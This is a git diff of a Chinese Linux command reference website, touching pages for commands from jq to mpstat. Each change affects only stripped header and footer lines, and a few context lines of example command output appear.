@@ jq 命令,Linux jq 命令详解:一个灵活的轻量级命令行JSON处理器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -197,7 +197,7 @@ jq [options - - + + \ No newline at end of file diff --git a/c/jwhois.html b/c/jwhois.html index 20a43f6b4e..30565efcf6 100644 --- a/c/jwhois.html +++ b/c/jwhois.html @@ -10,7 +10,7 @@ jwhois 命令,Linux jwhois 命令详解:whois 客户端服务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -106,7 +106,7 @@ Registrar WHOIS Server: whois.west263.com - - + + \ No newline at end of file diff --git a/c/kernelversion.html b/c/kernelversion.html index be944a137d..1a8288db83 100644 --- a/c/kernelversion.html +++ b/c/kernelversion.html @@ -10,7 +10,7 @@ kernelversion 命令,Linux kernelversion 命令详解:打印当前内核的主版本号 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -70,7 +70,7 @@ - - + + \ No newline at end of file diff --git a/c/kexec.html b/c/kexec.html index c29ed0fed8..e74b96b7cd 100644 --- a/c/kexec.html +++ b/c/kexec.html @@ -10,7 +10,7 @@ kexec 命令,Linux kexec 命令详解:从当前正在运行的内核引导到一个新内核 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/kill.html b/c/kill.html index 57f8fefb2a..e5877c0950 100644 --- a/c/kill.html +++ b/c/kill.html @@ -10,7 +10,7 @@ kill 命令,Linux kill 命令详解:发送信号到进程。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -218,7 +218,7 @@ n | 当n大于0时,PID为n的进程接收信号。 - - + + \ No newline at end of file diff --git a/c/killall.html b/c/killall.html index aa3633af20..bc493e015a 100644 --- a/c/killall.html +++ b/c/killall.html @@ -10,7 +10,7 @@ killall 命令,Linux killall 命令详解:使用进程的名称来杀死一组进程 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/last.html b/c/last.html index c4b8d5d5f0..567d58ce1e 100644 --- a/c/last.html +++ b/c/last.html @@ -10,7 +10,7 @@ last 命令,Linux last 命令详解:列出目前与过去登入系统的用户相关信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -97,7 +97,7 @@ root pts/0 221.6.45.34 Mon Dec - - + + \ No newline at end of file diff --git a/c/lastb.html b/c/lastb.html index ead7a5ea44..a557e180d9 100644 --- a/c/lastb.html +++ b/c/lastb.html @@ -10,7 +10,7 @@ lastb 命令,Linux lastb 命令详解:列出登入系统失败的用户相关信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -104,7 +104,7 @@ admin ssh:notty 129.171.193.99 Mon Dec - - + + \ No newline at end of file diff --git a/c/lastlog.html b/c/lastlog.html index 7a1c6e3182..314988105b 100644 --- a/c/lastlog.html +++ b/c/lastlog.html @@ -10,7 +10,7 @@ lastlog 命令,Linux lastlog 命令详解:显示系统中所有用户最近一次登录信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -105,7 +105,7 @@ mysql **Never logged in** - - + + \ No newline at end of file diff --git a/c/ld.html b/c/ld.html index 65e6e7b058..ea1fced940 100644 --- a/c/ld.html +++ b/c/ld.html @@ -10,7 +10,7 @@ ld 命令,Linux ld 命令详解:将目标文件连接为可执行程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ ld -o output /lib/crt0.o hello.o -lc - - + + \ No newline at end of file diff --git a/c/ldconfig.html b/c/ldconfig.html index 43c3dbf40e..f664857d32 100644 --- a/c/ldconfig.html +++ b/c/ldconfig.html @@ -10,7 +10,7 @@ ldconfig 命令,Linux ldconfig 命令详解:动态链接库管理命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -95,7 +95,7 @@ - - + + \ No newline at end of file diff --git a/c/ldd.html b/c/ldd.html index 13b1ab78f5..99c44b5c91 100644 --- a/c/ldd.html +++ b/c/ldd.html @@ -10,7 +10,7 @@ ldd 命令,Linux ldd 命令详解:打印程序或者库文件所依赖的共享库列表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ - - + + \ No newline at end of file diff --git a/c/less.html b/c/less.html index 37ee5bbf77..7528b4c834 100644 --- a/c/less.html +++ b/c/less.html @@ -10,7 +10,7 @@ less 命令,Linux less 命令详解:分屏上下翻页浏览文件内容 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/let.html b/c/let.html index 5160b62e38..1d974f413c 100644 --- a/c/let.html +++ b/c/let.html @@ -10,7 +10,7 @@ let 命令,Linux let 命令详解:简单的计算器,执行算术表达式。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -163,7 +163,7 @@ bash:3:command not found... - - + + \ No newline at end of file diff --git a/c/lftp.html b/c/lftp.html index 5dd22ccaf2..864739ec51 100644 --- a/c/lftp.html +++ b/c/lftp.html @@ -10,7 +10,7 @@ lftp 命令,Linux lftp 命令详解:优秀的文件客户端程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -125,7 +125,7 @@ pget -c -n 10 file.dat - - + + \ No newline at end of file diff --git a/c/lftpget.html b/c/lftpget.html index 533d3c7504..6910b6398d 100644 --- a/c/lftpget.html +++ b/c/lftpget.html @@ -10,7 +10,7 @@ lftpget 命令,Linux lftpget 命令详解:调用lftp指令下载指定的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/lha.html b/c/lha.html index 58ed420d77..a35d9a746e 100644 --- a/c/lha.html +++ b/c/lha.html @@ -10,7 +10,7 @@ lha 命令,Linux lha 命令详解:压缩或解压缩lzh格式文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ lha -xiw=agis abc - - + + \ No newline at end of file diff --git a/c/lilo.html b/c/lilo.html index 4ca3be0495..451c43323c 100644 --- a/c/lilo.html +++ b/c/lilo.html @@ -10,7 +10,7 @@ lilo 命令,Linux lilo 命令详解:安装核心载入开机管理程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -155,7 +155,7 @@ compact - - + + \ No newline at end of file diff --git a/c/ln.html b/c/ln.html index 20a7e61d7b..15176de72b 100644 --- a/c/ln.html +++ b/c/ln.html @@ -10,7 +10,7 @@ ln 命令,Linux ln 命令详解:用来为文件创建链接 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -166,7 +166,7 @@ total 0 - - + + \ No newline at end of file diff --git a/c/lnstat.html b/c/lnstat.html index 82715a2302..0be9a2b82e 100644 --- a/c/lnstat.html +++ b/c/lnstat.html @@ -10,7 +10,7 @@ lnstat 命令,Linux lnstat 命令详解:显示Linux系统的网路状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/local.html b/c/local.html index 2a1ee76c81..8a5a2a4e9f 100644 --- a/c/local.html +++ b/c/local.html @@ -10,7 +10,7 @@ local 命令,Linux local 命令详解:在函数内定义局部变量。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -93,7 +93,7 @@ - - + + \ No newline at end of file diff --git a/c/locate.html b/c/locate.html index a7d4dbd46c..4a7340151d 100644 --- a/c/locate.html +++ b/c/locate.html @@ -10,7 +10,7 @@ locate 命令,Linux locate 命令详解:比 find 好用的文件查找工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -129,7 +129,7 @@ - - + + \ No newline at end of file diff --git a/c/logger.html b/c/logger.html index 23aafe2243..f323395512 100644 --- a/c/logger.html +++ b/c/logger.html @@ -10,7 +10,7 @@ logger 命令,Linux logger 命令详解:在系统日志中记录相应条目 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -89,7 +89,7 @@ - - + + \ No newline at end of file diff --git a/c/login.html b/c/login.html index 7bd9a2c634..34831af343 100644 --- a/c/login.html +++ b/c/login.html @@ -10,7 +10,7 @@ login 命令,Linux login 命令详解:登录系统或切换用户身份 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/logname.html b/c/logname.html index f15f8ccbd9..e41e88be29 100644 --- a/c/logname.html +++ b/c/logname.html @@ -10,7 +10,7 @@ logname 命令,Linux logname 命令详解:打印当前终端登录用户的名称。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ root - - + + \ No newline at end of file diff --git a/c/logout.html b/c/logout.html index 2d74199659..e75f63862c 100644 --- a/c/logout.html +++ b/c/logout.html @@ -10,7 +10,7 @@ logout 命令,Linux logout 命令详解:退出当前登录的Shell - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -70,7 +70,7 @@ - - + + \ No newline at end of file diff --git a/c/logrotate.html b/c/logrotate.html index f3edcc4a74..e8b3f0289a 100644 --- a/c/logrotate.html +++ b/c/logrotate.html @@ -10,7 +10,7 @@ logrotate 命令,Linux logrotate 命令详解:系统日志进行轮转、压缩和删除 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -137,7 +137,7 @@ size(或minsize) log-size 当日志文件到达指定的大小时才转储 - - + + \ No newline at end of file diff --git a/c/logsave.html b/c/logsave.html index 945ced5363..a0029da71a 100644 --- a/c/logsave.html +++ b/c/logsave.html @@ -10,7 +10,7 @@ logsave 命令,Linux logsave 命令详解:将命令的输出信息保存到指定的日志文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/logwatch.html b/c/logwatch.html index f0ed852a69..7058127a65 100644 --- a/c/logwatch.html +++ b/c/logwatch.html @@ -10,7 +10,7 @@ logwatch 命令,Linux logwatch 命令详解:可定制和可插入式的日志监视系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -106,7 +106,7 @@ logwatch --service sshd --detail High 只看sshd的日志 - - + + \ No newline at end of file diff --git a/c/look.html b/c/look.html index 8bd90de125..15dab3d6c3 100644 --- a/c/look.html +++ b/c/look.html @@ -10,7 +10,7 @@ look 命令,Linux look 命令详解:显示文件中以指定字符串开头的任意行 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/losetup.html b/c/losetup.html index fc3f8043d2..17efd33cf1 100644 --- a/c/losetup.html +++ b/c/losetup.html @@ -10,7 +10,7 @@ losetup 命令,Linux losetup 命令详解:设定与控制循环(loop)设备 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -102,7 +102,7 @@ losetup -d /dev/loop1 - - + + \ No newline at end of file diff --git a/c/lp.html b/c/lp.html index 30e4b50d85..9231d47235 100644 --- a/c/lp.html +++ b/c/lp.html @@ -10,7 +10,7 @@ lp 命令,Linux lp 命令详解:打印文件或修改排队的打印任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -109,7 +109,7 @@ - - + + \ No newline at end of file diff --git a/c/lpadmin.html b/c/lpadmin.html index 359bee4571..a64f4ed098 100644 --- a/c/lpadmin.html +++ b/c/lpadmin.html @@ -10,7 +10,7 @@ lpadmin 命令,Linux lpadmin 命令详解:配置CUPS套件中的打印机和类 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ - - + + \ No newline at end of file diff --git a/c/lpc.html b/c/lpc.html index 55d845d0ec..6fd480c635 100644 --- a/c/lpc.html +++ b/c/lpc.html @@ -10,7 +10,7 @@ lpc 命令,Linux lpc 命令详解:命令行方式打印机控制程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ lpc> - - + + \ No newline at end of file diff --git a/c/lpq.html b/c/lpq.html index df1b95e0a4..602f8551f0 100644 --- a/c/lpq.html +++ b/c/lpq.html @@ -10,7 +10,7 @@ lpq 命令,Linux lpq 命令详解:显示打印队列中的打印任务的状态信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/lpr.html b/c/lpr.html index 35a2d0eae3..2b4829d542 100644 --- a/c/lpr.html +++ b/c/lpr.html @@ -10,7 +10,7 @@ lpr 命令,Linux lpr 命令详解:将文件发送给指定打印机进行打印 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/lprm.html b/c/lprm.html index 5729b00114..1d86e426b3 100644 --- a/c/lprm.html +++ b/c/lprm.html @@ -10,7 +10,7 @@ lprm 命令,Linux lprm 命令详解:删除打印队列中的打印任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ - - + + \ No newline at end of file diff --git a/c/lpstat.html b/c/lpstat.html index 905e8e0d1f..d4f72d150b 100644 --- a/c/lpstat.html +++ b/c/lpstat.html @@ -10,7 +10,7 @@ lpstat 命令,Linux lpstat 命令详解:显示CUPS中打印机的状态信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ - - + + \ No newline at end of file diff --git a/c/ls.html b/c/ls.html index 9e0a058ee1..eb27e856d4 100644 --- a/c/ls.html +++ b/c/ls.html @@ -10,7 +10,7 @@ ls 命令,Linux ls 命令详解:显示目录内容列表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -446,7 +446,7 @@ auto CHANGES CHANGES.ru conf configure contrib html LICENSE Makefile - - + + \ No newline at end of file diff --git a/c/lsattr.html b/c/lsattr.html index 440680d9cc..37905fb0e7 100644 --- a/c/lsattr.html +++ b/c/lsattr.html @@ -10,7 +10,7 @@ lsattr 命令,Linux lsattr 命令详解:查看文件的第二扩展文件系统属性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ lsattr -EO -l rmt0 - - + + \ No newline at end of file diff --git a/c/lsb_release.html b/c/lsb_release.html index 2e49085184..7c22d820bc 100644 --- a/c/lsb_release.html +++ b/c/lsb_release.html @@ -10,7 +10,7 @@ lsb_release 命令,Linux lsb_release 命令详解:显示发行版本信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/lsblk.html b/c/lsblk.html index 6673f4beaf..a81e55b92d 100644 --- a/c/lsblk.html +++ b/c/lsblk.html @@ -10,7 +10,7 @@ lsblk 命令,Linux lsblk 命令详解:列出块设备信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -130,7 +130,7 @@ lsblk --bytes /dev/sda - - + + \ No newline at end of file diff --git a/c/lscpu.html b/c/lscpu.html index 69b79a78c7..415a442890 100644 --- a/c/lscpu.html +++ b/c/lscpu.html @@ -10,7 +10,7 @@ lscpu 命令,Linux lscpu 命令详解:显示有关CPU架构的信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -120,7 +120,7 @@ NUMA node0 CPU(s - - + + \ No newline at end of file diff --git a/c/lsmod.html b/c/lsmod.html index f605b361f4..a61f71c7fa 100644 --- a/c/lsmod.html +++ b/c/lsmod.html @@ -10,7 +10,7 @@ lsmod 命令,Linux lsmod 命令详解:显示已载入系统的模块 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -153,7 +153,7 @@ ehci_hcd 34509 - - + + \ No newline at end of file diff --git a/c/lsof.html b/c/lsof.html index e2c5e9773f..aa89c44d86 100644 --- a/c/lsof.html +++ b/c/lsof.html @@ -10,7 +10,7 @@ lsof 命令,Linux lsof 命令详解:显示Linux系统当前已打开的所有文件列表 `lsof -p pid` - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -187,7 +187,7 @@ events/1 7 root cwd DIR - - + + \ No newline at end of file diff --git a/c/lspci.html b/c/lspci.html index 4ab90fb966..b0fe855504 100644 --- a/c/lspci.html +++ b/c/lspci.html @@ -10,7 +10,7 @@ lspci 命令,Linux lspci 命令详解:显示当前主机的所有PCI总线信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -127,7 +127,7 @@ - - + + \ No newline at end of file diff --git a/c/lsusb.html b/c/lsusb.html index eec2375a56..69df936ef2 100644 --- a/c/lsusb.html +++ b/c/lsusb.html @@ -10,7 +10,7 @@ lsusb 命令,Linux lsusb 命令详解:显示本机的USB设备列表信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -108,7 +108,7 @@ Bus 002 Device 001: ID 0000:0000

- - + + \ No newline at end of file diff --git a/c/ltrace.html b/c/ltrace.html index 21bd468a9b..382d0d6427 100644 --- a/c/ltrace.html +++ b/c/ltrace.html @@ -10,7 +10,7 @@ ltrace 命令,Linux ltrace 命令详解:用来跟踪进程调用库函数的情况 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -128,7 +128,7 @@ SYS_mmap2(0x424000, - - + + \ No newline at end of file diff --git a/c/lvcreate.html b/c/lvcreate.html index 6b184e44dd..c2685aad52 100644 --- a/c/lvcreate.html +++ b/c/lvcreate.html @@ -10,7 +10,7 @@ lvcreate 命令,Linux lvcreate 命令详解:用于创建LVM的逻辑卷 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ - - + + \ No newline at end of file diff --git a/c/lvdisplay.html b/c/lvdisplay.html index 44865a7afe..aaf8bf4ec3 100644 --- a/c/lvdisplay.html +++ b/c/lvdisplay.html @@ -10,7 +10,7 @@ lvdisplay 命令,Linux lvdisplay 命令详解:显示逻辑卷属性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/lvextend.html b/c/lvextend.html index beca1fabba..676097134b 100644 --- a/c/lvextend.html +++ b/c/lvextend.html @@ -10,7 +10,7 @@ lvextend 命令,Linux lvextend 命令详解:扩展逻辑卷空间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ Logical volume lvol0 successfully resized - - + + \ No newline at end of file diff --git a/c/lvreduce.html b/c/lvreduce.html index 301b0d5ca1..45ee064df0 100644 --- a/c/lvreduce.html +++ b/c/lvreduce.html @@ -10,7 +10,7 @@ lvreduce 命令,Linux lvreduce 命令详解:收缩逻辑卷空间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ Do you really want to reduce lvol0? [y/n< - - + + \ No newline at end of file diff --git a/c/lvremove.html b/c/lvremove.html index dbcab26270..89a2762eeb 100644 --- a/c/lvremove.html +++ b/c/lvremove.html @@ -10,7 +10,7 @@ lvremove 命令,Linux lvremove 命令详解:删除指定LVM逻辑卷 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ volume "lvol0"? - - + + \ No newline at end of file diff --git a/c/lvresize.html b/c/lvresize.html index 244aca206c..125c46957f 100644 --- a/c/lvresize.html +++ b/c/lvresize.html @@ -10,7 +10,7 @@ lvresize 命令,Linux lvresize 命令详解:调整逻辑卷空间大小 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ Logical volume lvol0 successfully resized - - + + \ No newline at end of file diff --git a/c/lvscan.html b/c/lvscan.html index ce5bd9d0c8..cb5040c746 100644 --- a/c/lvscan.html +++ b/c/lvscan.html @@ -10,7 +10,7 @@ lvscan 命令,Linux lvscan 命令详解:扫描逻辑卷 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/lynx.html b/c/lynx.html index 9d7698c973..18b9ce5f88 100644 --- a/c/lynx.html +++ b/c/lynx.html @@ -10,7 +10,7 @@ lynx 命令,Linux lynx 命令详解:纯文本模式的网页浏览器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -151,7 +151,7 @@ Ctrl+k:调用 Cookie Jar 页。 - - + + \ No newline at end of file diff --git a/c/mail.html b/c/mail.html index f85e24f5ee..9bb2a86880 100644 --- a/c/mail.html +++ b/c/mail.html @@ -10,7 +10,7 @@ mail 命令,Linux mail 命令详解:命令行下发送和接收电子邮件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -112,7 +112,7 @@ welcome to www.jsdig.com - - + + \ No newline at end of file diff --git a/c/mailq.html b/c/mailq.html index c2f03c1def..14b93bad84 100644 --- a/c/mailq.html +++ b/c/mailq.html @@ -10,7 +10,7 @@ mailq 命令,Linux mailq 命令详解:显示待发送的邮件队列 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/mailstat.html b/c/mailstat.html index 5dd69b897f..ddb70121eb 100644 --- a/c/mailstat.html +++ b/c/mailstat.html @@ -10,7 +10,7 @@ mailstat 命令,Linux mailstat 命令详解:显示到达的邮件状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/make.html b/c/make.html index e61608f9af..ae0a86717f 100644 --- a/c/make.html +++ b/c/make.html @@ -10,7 +10,7 @@ make 命令,Linux make 命令详解:GNU的工程化编译工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -93,7 +93,7 @@ - - + + \ No newline at end of file diff --git a/c/man.html b/c/man.html index afa9d9a68d..438a6fd695 100644 --- a/c/man.html +++ b/c/man.html @@ -10,7 +10,7 @@ man 命令,Linux man 命令详解:查看Linux中的指令帮助 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,7 +100,7 @@ - - + + \ No newline at end of file diff --git a/c/mapfile.html b/c/mapfile.html index 2c9619911f..1d0c56c147 100644 --- a/c/mapfile.html +++ b/c/mapfile.html @@ -10,7 +10,7 @@ mapfile 命令,Linux mapfile 命令详解:从标准输入读取行并赋值到数组。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -108,8 +108,8 @@ - - + + \t' target_array mapfile < source_file -d ' ' target_array @@ -138,8 +138,8 @@ var _hmt = _hmt || []; (function() {var hm = document.createElement("script"); h - - + + \t' -t target_array # 读取时移除行分隔符(换行符)。 @@ -181,7 +181,7 @@ var _hmt = _hmt || []; (function() {var hm = document.createElement("script"); h - - + + \ No newline at end of file diff --git a/c/md5sum.html b/c/md5sum.html index 9824a0c88d..86a1084305 100644 --- a/c/md5sum.html +++ b/c/md5sum.html @@ -10,7 +10,7 @@ md5sum 命令,Linux md5sum 命令详解:计算和校验文件报文摘要的工具程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -115,7 +115,7 @@ md5sum: testfile.md5: no properly formatted MD5 checksum lines found - - + + \ No newline at end of file diff --git a/c/mesg.html b/c/mesg.html index 0fd421eb1e..3864b7c95a 100644 --- a/c/mesg.html +++ b/c/mesg.html @@ -10,7 +10,7 @@ mesg 命令,Linux mesg 命令详解:设置当前终端的写权限 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/mii-tool.html b/c/mii-tool.html index 36127319c2..eb5197d06e 100644 --- a/c/mii-tool.html +++ b/c/mii-tool.html @@ -10,7 +10,7 @@ mii-tool 命令,Linux mii-tool 命令详解:配置网络设备协商方式的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -110,7 +110,7 @@ eth0: 100 Mbit, full duplex, - - + + \ No newline at end of file diff --git a/c/mkbootdisk.html b/c/mkbootdisk.html index a7906f9cef..ede6694ae0 100644 --- a/c/mkbootdisk.html +++ b/c/mkbootdisk.html @@ -10,7 +10,7 @@ mkbootdisk 命令,Linux mkbootdisk 命令详解:可建立目前系统的启动盘 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/mkdir.html b/c/mkdir.html index 4d44ede7e7..b8de97bad5 100644 --- a/c/mkdir.html +++ b/c/mkdir.html @@ -10,7 +10,7 @@ mkdir 命令,Linux mkdir 命令详解:用来创建目录 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/mke2fs.html b/c/mke2fs.html index 9d568b78c1..bb6b8484d2 100644 --- a/c/mke2fs.html +++ b/c/mke2fs.html @@ -10,7 +10,7 @@ mke2fs 命令,Linux mke2fs 命令详解:创建磁盘分区上的“etc2/etc3”文件系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -97,7 +97,7 @@ - - + + \ No newline at end of file diff --git a/c/mkfs.html b/c/mkfs.html index a59a50bf2e..9916cdbe34 100644 --- a/c/mkfs.html +++ b/c/mkfs.html @@ -10,7 +10,7 @@ mkfs 命令,Linux mkfs 命令详解:用于在设备上创建Linux文件系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -89,7 +89,7 @@ - - + + \ No newline at end of file diff --git a/c/mkinitrd.html b/c/mkinitrd.html index c40eed8ab9..35d28c94a1 100644 --- a/c/mkinitrd.html +++ b/c/mkinitrd.html @@ -10,7 +10,7 @@ mkinitrd 命令,Linux mkinitrd 命令详解:建立要载入ramdisk的映像文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -109,7 +109,7 @@ myinitrd.img: ASCII cpio archive (SVR4 wi - - + + \ No newline at end of file diff --git a/c/mkisofs.html b/c/mkisofs.html index 2a7072f889..8e6d4c2fa2 100644 --- a/c/mkisofs.html +++ b/c/mkisofs.html @@ -10,7 +10,7 @@ mkisofs 命令,Linux mkisofs 命令详解:建立ISO 9660映像文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -129,7 +129,7 @@ - - + + \ No newline at end of file diff --git a/c/mknod.html b/c/mknod.html index fe16055091..dd3dc6ec4c 100644 --- a/c/mknod.html +++ b/c/mknod.html @@ -10,7 +10,7 @@ mknod 命令,Linux mknod 命令详解:创建字符设备文件和块设备文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -93,7 +93,7 @@ crw-rw—- 1 root dialout - - + + \ No newline at end of file diff --git a/c/mkswap.html b/c/mkswap.html index 1486e5cafc..2fdc0b5dad 100644 --- a/c/mkswap.html +++ b/c/mkswap.html @@ -10,7 +10,7 @@ mkswap 命令,Linux mkswap 命令详解:建立和设置SWAP交换分区 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -124,7 +124,7 @@ Swap: 572 0 - - + + \ No newline at end of file diff --git a/c/mktemp.html b/c/mktemp.html index 8efc2285b6..d5ff671b62 100644 --- a/c/mktemp.html +++ b/c/mktemp.html @@ -10,7 +10,7 @@ mktemp 命令,Linux mktemp 命令详解:创建临时文件供shell脚本使用 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/modprobe.html b/c/modprobe.html index 72c9421a79..be7df5d227 100644 --- a/c/modprobe.html +++ b/c/modprobe.html @@ -10,7 +10,7 @@ modprobe 命令,Linux modprobe 命令详解:自动处理可载入模块 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -105,7 +105,7 @@ - - + + \ No newline at end of file diff --git a/c/more.html b/c/more.html index d471d3652d..f7f6d8dd59 100644 --- a/c/more.html +++ b/c/more.html @@ -10,7 +10,7 @@ more 命令,Linux more 命令详解:显示文件内容,每次显示一屏 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ - - + + \ No newline at end of file diff --git a/c/mount.html b/c/mount.html index f4f8dafc0f..36e96488fb 100644 --- a/c/mount.html +++ b/c/mount.html @@ -10,7 +10,7 @@ mount 命令,Linux mount 命令详解:用于挂载Linux系统外的文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -110,7 +110,7 @@ - - + + \ No newline at end of file diff --git a/c/mpstat.html b/c/mpstat.html index e27aca256e..6d2af5f495 100644 --- a/c/mpstat.html +++ b/c/mpstat.html @@ -10,7 +10,7 @@ mpstat 命令,Linux mpstat 命令详解:显示各个可用CPU的状态 - Linux 